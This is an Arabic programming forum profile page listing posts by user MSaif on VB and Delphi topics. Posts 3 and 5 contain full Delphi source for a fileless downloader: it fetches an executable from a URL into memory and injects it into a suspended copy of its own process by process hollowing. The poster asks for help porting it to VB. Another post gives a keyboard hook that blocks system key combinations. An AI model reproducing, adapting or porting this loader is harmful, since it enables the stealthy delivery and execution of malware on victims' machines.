• الإعلانات

    • فيصل الحربي

      تسجيل عضوية جديدة في المنتدى   01/31/2016

      السلام عليكم ورحمة الله وبركاته  عزيزي العضو الجديد :  حاليا رسالة الإيميل لتأكيد صحة إيميلكم تذهب للبريد العشوائي ( جاري حل المشكلة )  فإذا لم تجد رسالة التحقق من إيميلكم في صندوق الوارد لديكم إتجه للبريد العشوائي ( JUNK)  وقم بتفعيل إشتراككم من هناك   

MSaif

اعضاء
  • عدد المشاركات

    30
  • تاريخ الانضمام

  • تاريخ اخر زياره

السمعه بالموقع

0 عادي

عن MSaif

  • الرتبة
    عضو جديد

طرق الإتصال

  1. السلام عليكم ورحمة الله لا أعتقد انه يمكنك منع البرامج من الكتابه أو الدخول الى الرام (على الأقل نظام XP) لآنه يتم السيطره عليها بواسطه النظام وعن نفسى فإنى لا اعلم الطريقه إن كانت موجوده والله اعلم
  2. السلام عليكم ورحمة الله وبركاته هذا الكود يقوم بتعطيل جميع المفاتيح الخاصه بالوظائف الداخليه للنظام مثل CTL+ALT+DEL ,Esc+Win , Alt+Tab Low Level Keys Of The System وهو يعمل على جميع انظمه NT والتى طبعا منها XP وأرجو أن يفيدكم Option Explicit Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" _    (Destination As Any, Source As Any, ByVal Length As Long) Public Declare Function GetKeyState Lib "user32" _    (ByVal nVirtKey As Long) As Integer Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" _    (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long Public Declare Function CallNextHookEx Lib "user32" _    (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long Public Declare Function UnhookWindowsHookEx Lib "user32" _    (ByVal hHook As Long) As Long    Public Const HC_ACTION = 0    Public Const WM_KEYDOWN = &H100    Public Const WM_KEYUP = &H101    Public Const WM_SYSKEYDOWN = &H104    Public Const WM_SYSKEYUP = &H105    Public Const VK_TAB = &H9    Public Const VK_CONTROL = &H11    Public Const VK_ESCAPE = &H1B    Public Const WH_KEYBOARD_LL = 13    Public Const LLKHF_ALTDOWN = &H20 Public Type KBDLLHOOKSTRUCT    vkCode As Long    scanCode As Long    flags As Long    time As Long    dwExtraInfo As Long    End Type    Dim p As KBDLLHOOKSTRUCT Public Function LowLevelKeyboardProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long    Dim fEatKeystroke As Boolean    If (nCode = HC_ACTION) Then        If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Or wParam = WM_KEYUP Or wParam = WM_SYSKEYUP Then            CopyMemory p, ByVal lParam, Len(p)            fEatKeystroke = _            ((p.vkCode = VK_TAB) And ((p.flags And LLKHF_ALTDOWN) <> 0)) Or _            ((p.vkCode = VK_ESCAPE) And ((p.flags And LLKHF_ALTDOWN) <> 0)) Or _            ((p.vkCode = VK_ESCAPE) And ((GetKeyState(VK_CONTROL) And &H8000) <> 0))        End If    End If    If fEatKeystroke Then        LowLevelKeyboardProc = -1    Else        LowLevelKeyboardProc = CallNextHookEx(0, nCode, wParam, ByVal lParam)    End If End Function
  3. السلام عليكم ورحمة الله فلنبدأ بسم الله وهذه هى أول وظيفه او خطوة (وهى تقوم بتنزيل ملف exe من الأنترنت ولا تحفظه على الهارد ديسك لكن بالرام لتنفيذه فيما بعد ) وأرجو التفاعل مع جزاكم الله خيرا procedure GetURL(Address: string); var HTTP: TClientSocket; Data: pointer; Buffer: pointer; BufferLength: dword; BufferUsed: dword; Bytes: dword; Header: string; Site: string; URL: string; Location: string; begin Location := Split(Address, '://', 2); Site := ExtractURLSite(Location); URL := ExtractURLPath(Location); GetMem(Buffer, 1024); try   BufferLength := 1024;   BufferUsed := 0;;   HTTP := TClientSocket.Create;   HTTP.Connect(Site, 80);   HTTP.SendString('GET ' + URL + ' HTTP/1.1' + #13#10 + 'Host: ' + Site + #13#10 + 'Connection: close' + #13#10#13#10);   HTTP.Idle(0);   while HTTP.Connected do   begin     if BufferLength - BufferUsed < 1024 then     begin       Inc(BufferLength, 1024);       ReallocMem(Buffer, BufferLength);     end;     Bytes := HTTP.ReceiveBuffer(pointer(dword(Buffer) + BufferUsed)^, 1024);     if Bytes > 0 then     begin       Inc(BufferUsed, Bytes);     end;   end;   Header := Copy(string(Buffer), 1, Pos(#13#10#13#10, string(Buffer)) + 3);   OutputLength := BufferUsed - dword(Length(Header));   Data := pointer(dword(Buffer) + dword(Length(Header)));   GetMem(Output, OutputLength);   Move(Data^, Output^, OutputLength); finally   FreeMem(Buffer); end; end;
  4. شكرا لك أخى على الرد بالنسبه لموضوع المؤشرات فإن ال VB يدعمها بواسطه ال API فهناك دوال عديده تسخدم للكتابه بالذاكره والقراءه منها والتنقل بها مثل Copymemory , MoveMemory , وهناك دوال على ما أعتقد انها مشابهه لما هو بالدلفى هنا وهى مثل Readprocess , CreateProcess وعلى العموم انا الحمد لله ملم بالفيجوال بيسك ولكنى مبتدئ فى الدلفى وأرجو المساعده ولو جزء جزء كما قلت وانا موجود بال VB وشكر ا مره اخرى على التفاعل معى لأنه موضوع يهمنى كثيرا جداااااااااااااا
  5. السلام عليكم ورحمة الله أرجو أن تساعدونى فى تحويل هذا الكود من دلفى الى فيجوال بيسك ياخوانى ولكم كل الخير والأجر من الله. . وهو كود هام جدا بالنسبه الى , وشكرا لكم مقدما {$IMAGEBASE $10000000} uses  Windows, SocketUnit; type  TSections = array [0..0] of TImageSectionHeader; var  Target: pchar = 'afx' + #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0;  Output: pointer;  OutputLength: dword; function ExtractURLSite(FileName: string): string; begin  Result := Copy(FileName, 1, Pos('/', FileName) - 1); end; function ExtractURLPath(FileName: string): string; begin  Result := Copy(FileName, Pos('/', FileName), Length(FileName) - Pos('/', FileName) + 1); end; function Split(Input: string; Deliminator: string; Index: integer): string; var  StringLoop, StringCount: integer;  Buffer: string; begin  Buffer := '';  if Index < 1 then Exit;  StringCount := 0;  StringLoop := 1;  while (StringLoop <= Length(Input)) do  begin    if (Copy(Input, StringLoop, Length(Deliminator)) = Deliminator) then    begin      Inc(StringLoop, Length(Deliminator) - 1);      Inc(StringCount);      if StringCount = Index then      begin        Result := Buffer;        Exit;      end      else      begin        Buffer := '';      end;    end    else    begin      Buffer := Buffer + Copy(Input, StringLoop, 1);    end;    Inc(StringLoop, 1);  end;  Inc(StringCount);  if StringCount < Index then Buffer := '';  Result := Buffer; end; procedure GetURL(Address: string); var  HTTP: TClientSocket;  Data: pointer;  Buffer: pointer;  BufferLength: dword;  BufferUsed: dword;  Bytes: dword;  Header: string;  Site: string;  URL: string;  Location: string; begin  Location := Split(Address, '://', 2);  Site := ExtractURLSite(Location);  URL := ExtractURLPath(Location);  GetMem(Buffer, 1024);  try    BufferLength := 1024;    BufferUsed := 0;;    HTTP := TClientSocket.Create;    HTTP.Connect(Site, 80);    HTTP.SendString('GET ' + URL + ' HTTP/1.1' + #13#10 + 'Host: ' + Site + #13#10 + 'Connection: close' + #13#10#13#10);    HTTP.Idle(0);    while HTTP.Connected do    begin      if BufferLength - BufferUsed < 1024 then      begin        Inc(BufferLength, 1024);        ReallocMem(Buffer, BufferLength);      end;      Bytes := HTTP.ReceiveBuffer(pointer(dword(Buffer) + BufferUsed)^, 1024);      if Bytes > 0 then      begin        Inc(BufferUsed, Bytes);      end;    end;    Header := Copy(string(Buffer), 1, Pos(#13#10#13#10, string(Buffer)) + 3);    OutputLength := BufferUsed - dword(Length(Header));    Data := pointer(dword(Buffer) + dword(Length(Header)));    GetMem(Output, OutputLength);    Move(Data^, Output^, OutputLength);  finally    FreeMem(Buffer);  end; end; function GetAlignedSize(Size: dword; Alignment: dword): dword; begin  if ((Size mod Alignment) = 0) then  begin    Result := Size;  end  else  begin    Result := ((Size div Alignment) + 1) * Alignment;  end; end; function ImageSize(Image: pointer): dword; var  Alignment: dword;  ImageNtHeaders: PImageNtHeaders;  PSections: ^TSections;  SectionLoop: dword; begin  ImageNtHeaders := pointer(dword(dword(Image)) + dword(PImageDosHeader(Image)._lfanew));  Alignment := ImageNtHeaders.OptionalHeader.SectionAlignment;  if ((ImageNtHeaders.OptionalHeader.SizeOfHeaders mod Alignment) = 0) then  begin    Result := ImageNtHeaders.OptionalHeader.SizeOfHeaders;  end  else  begin    Result := ((ImageNtHeaders.OptionalHeader.SizeOfHeaders div Alignment) + 1) * Alignment;  end;  PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);  for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do  begin    if PSections[SectionLoop].Misc.VirtualSize <> 0 then    begin      if ((PSections[SectionLoop].Misc.VirtualSize mod Alignment) = 0) then      begin        Result := Result + PSections[SectionLoop].Misc.VirtualSize;      end      else      begin        Result := Result + (((PSections[SectionLoop].Misc.VirtualSize div Alignment) + 1) * Alignment);      end;    end;  end; end; procedure CreateProcessEx(FileMemory: pointer); var  BaseAddress, Bytes, HeaderSize, InjectSize,  SectionLoop, SectionSize: dword;  Context: TContext;  FileData: pointer;  ImageNtHeaders: PImageNtHeaders;  InjectMemory: pointer;  ProcInfo: TProcessInformation;  PSections: ^TSections;  StartInfo: TStartupInfo; begin  ImageNtHeaders := pointer(dword(dword(FileMemory)) + dword(PImageDosHeader(FileMemory)._lfanew));  InjectSize := ImageSize(FileMemory);  GetMem(InjectMemory, InjectSize);  try    FileData := InjectMemory;    HeaderSize := ImageNtHeaders.OptionalHeader.SizeOfHeaders;    PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);    for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do    begin      if PSections[SectionLoop].PointerToRawData < HeaderSize then HeaderSize := PSections[SectionLoop].PointerToRawData;    end;    CopyMemory(FileData, FileMemory, HeaderSize);    FileData := pointer(dword(FileData) + GetAlignedSize(ImageNtHeaders.OptionalHeader.SizeOfHeaders, ImageNtHeaders.OptionalHeader.SectionAlignment));    for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do    begin      if PSections[SectionLoop].SizeOfRawData > 0 then      begin        SectionSize := PSections[SectionLoop].SizeOfRawData;        if SectionSize > PSections[SectionLoop].Misc.VirtualSize then SectionSize := PSections[SectionLoop].Misc.VirtualSize;        CopyMemory(FileData, pointer(dword(FileMemory) + PSections[SectionLoop].PointerToRawData), SectionSize);        FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));      end      else      begin        if PSections[SectionLoop].Misc.VirtualSize <> 0 then FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));      end;    end;    ZeroMemory(@StartInfo, SizeOf(StartupInfo));    ZeroMemory(@Context, SizeOf(TContext));    CreateProcess(nil, pchar(ParamStr(0)), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);    Context.ContextFlags := CONTEXT_FULL;    GetThreadContext(ProcInfo.hThread, Context);    ReadProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @BaseAddress, 4, Bytes);    VirtualAllocEx(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);    WriteProcessMemory(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectMemory, InjectSize, Bytes);    WriteProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @ImageNtHeaders.OptionalHeader.ImageBase, 4, Bytes);    Context.Eax := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;    SetThreadContext(ProcInfo.hThread, Context);    ResumeThread(ProcInfo.hThread);  finally    FreeMemory(InjectMemory);  end; end; begin  GetURL(Target);  CreateProcessEx(Output); end.
  6. السلام عليكم الأخ محمد المهدى : هل الطريقه التى تعرفها هى ان تجعل البرنامج يتعرف على سيريال الأسطوانه ونظام ملفاتها وبهذا لن يعمل على الهارد ديسك لآنه لا يوجد نظام ملفات للهارد ديسك لآنه لا يوجد نظام ملفات (cdfs أو Jolit . .الخ) على الهارد . . ولكن هذه الطريقه سهله الكسر جداااااااااااااااااااااااااا لآنه ببساطة يمكنك عمل اسطوانه وهميه ونسخ محتويات الأصليه بها وتعمل والبرامج من هذا النوع كثيره وإذا كانت لديك فكره أخرى أرجو توضيحها للأستفاده وشكرا
  7. السلام عليكم ورحمة الله اولا : جزاك الله خير الجزاء وعافاك أخى JAAS لردك على من أصبح فى كربة ومعسرة من أمره و كفاك الله شر المذلة لأحد فالموضوع تطور حقا معى فى العمل حتى أذيت بسببة وهذا هو سبب بعثى لتلك الردود الثقيلة ولكن كفاكم الله شر الجهل و قهر الرجال , اما بالنسبة لردك أخى JAAS فإنه مفيد حقا ولكنى أعرف كيف تنفذ الملفات التنفيذية وكيفية عملها ولا اقولها فخرا والله بل تعلمت الكثير من مقالات متندى الأسمبلى و السى وأغلبها كان من ضمن موضوعاتك المميزة لكن اعتقد ان الفكرة وصلت اليك خطاء قليلا فمحتوى الملف التنفيذى المراد تنفيذ( وهنا أقصد محتوى ال exe كأنك فتحتة بمحرر نصوص مثلا أى الكود القابل للتنفيذ من خلال الويندوز ) قد تم نسخة الى الذاكرة بالداله Copymemory وهكذا أصبح لدينا نسخة من البرنامج فى الرام (مع العلم ان البرنامج مصمم ب vb 6) وهوضمن مشروع بالشركة التى اعمل بها ولكن لاضرر من ادراج Dll's بالسى او ماشابة لعمل ذلك.. والمطلوب منى بعد ذلك أن لا أجعل هذا الملف يلمس القرص الصلب و أنفذة من الذاكره . هذا هو كل شىء ولك جزيل الشكر والتقدير وبالنسبه للأخ hasan_aljudy فأرجو أن يكون مقدر لظروفى الخاصة التى دفعتنى لأرسال تلك الردود وكنت أرجو عدم ذكر الآباء وبهذا اللفظ فى الموضوع لأنى يا سيدى لست عضوا مهما حتى الآن لكنك لو كنت فى نفس الظروف لفعلت كل ما تقدر علية لأتمام عملك وربنا يكرمنا جميعا ويجزينا على قدر نياتنا
  8. شكرا لك أخى b.m.s على مشاعرك الأخوية ولكن لماذا هذا الموقع بكل مافيه من خبراء و منتديات ليس فيهم رجل واحد يرد على مشكلتى من أول قسم الأسمبلى حتى الفيجوال بيسك ؟ ؟ ؟ لقد سئمت من السؤال , فعلا لايجب أن أسأل هنا طالما انه لا يعبرنى أحد
  9. سلام عليكم انا وصلت الى حد الغضب لأنى فى مشكلة كبيرة بعملى بسبب هذا الموضوع أرجو الرد على مشكلتى http://www.arabteam2000-forum.com/index.php?showtopic=69978 أرجو الرد وأى خيبر أرجو أن لايبخل على أخيه المسلم بمعلومة ولو ليس لها أهمية لكن أرجو حل مشكلتى لآنى سوف أتآذى بسببها فى عملى وشكرا
  10. يا جماعه ارجو الرد على . . اين المشرفين واين خبراء هذا الموقع ؟
  11. السلام عليكم حسب معلوماتى ان هذا البرنامج لا يستطيع جلب اى كود او عمل (DeCompile) لكنه فقط يستخرخ النصوص و الصور والأيقونات من الملفات التنفيذيه و مكتبات الربط الديناميكى حتى انه لا يستطيع عمل ذلك مع الملفات المضغوطه
  12. السلام عليكم جميل هذا الموضوع والله أخى ANSI لكن لماذا لا يتفاعل الأعضاء معنا أكثر من ذلك ؟ّ ولماذا لم يثبت ؟؟ على العموم أرجو ان يحدث ذلك :rolleyes: بالمناسبه كان عندى سؤال و مافى أى احد دلنى على اجابه له وأرجو ان يستطيع اى شخص ان يجد اجابته :s وهو كيف اشغل ملف تنفيذى من الرام مباشرة ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟ وشكرا للجميع
  13. السلام عليكم ورحمة الله اولا اشكركم على الردود الجميله و اشكرك اخى ANSI وربنا يكرمكم جميعا أما بالنسبه للأخ NEO فأنى قد أوضحت سلفا انه اسرع واسهل اسلوب اذا كان برنامجك سوف يدعم لغتين فقط وضربت مثال اللغتين العربية والأنجليزية ومثل ماقال اخى محمد المهدى فأن الأمر لا يتطلب أبدا قاعده بيانات لذلك الغرض , وللعلم فأن هذه الطريقه استخدمتها فى برامج الشركه التى اعمل بها بعد قياس الزمن المطلوب لتحويل برنامج كبير مكون من اكثر من 243 فورم بهذه الطريقه وبين طريقه قراءه ملف INI فكان الفارق كبيرا جدا لصالح هذه الطريقه (1.83 ثانيه ) و أيضا كان هناك فارق مع طريقه تحميل String Table من ملف Resource لكن المهم هو الطريقه التى تحب انت ان تستخدمها وتخدم كافة أغراضك او أغراض شركتك . وعلى فكره البرنامج كله يتغير من العربيه للأنجليزيه بجميع الفورمز و جميع الكونترولز المحمله عليها ( ليس فقط ان اغير العنوان او النص بل أيضا اقلب او اعكس مكان الكونترول فإذا كان فى اليمين يكون بالشمال مع تحوله للأنجليزية ) . المهم انى فقط أرد ان افيد و أستفيد و جزاكم الله خيرا
  14. السلام عليكم أخى ابو مازن . .الذى اريده هو فعلا مشابه لذلك وهو تشغيل البرنامج ديناميكيا من الذاكره لكن الفرق هنا انى لن احمل الملف من الويب فقط فأرجوك دلنى كيف تقوم بعمل ذلك :( و جزاكم الله خيرا وجعله فى ميزان حسناتكم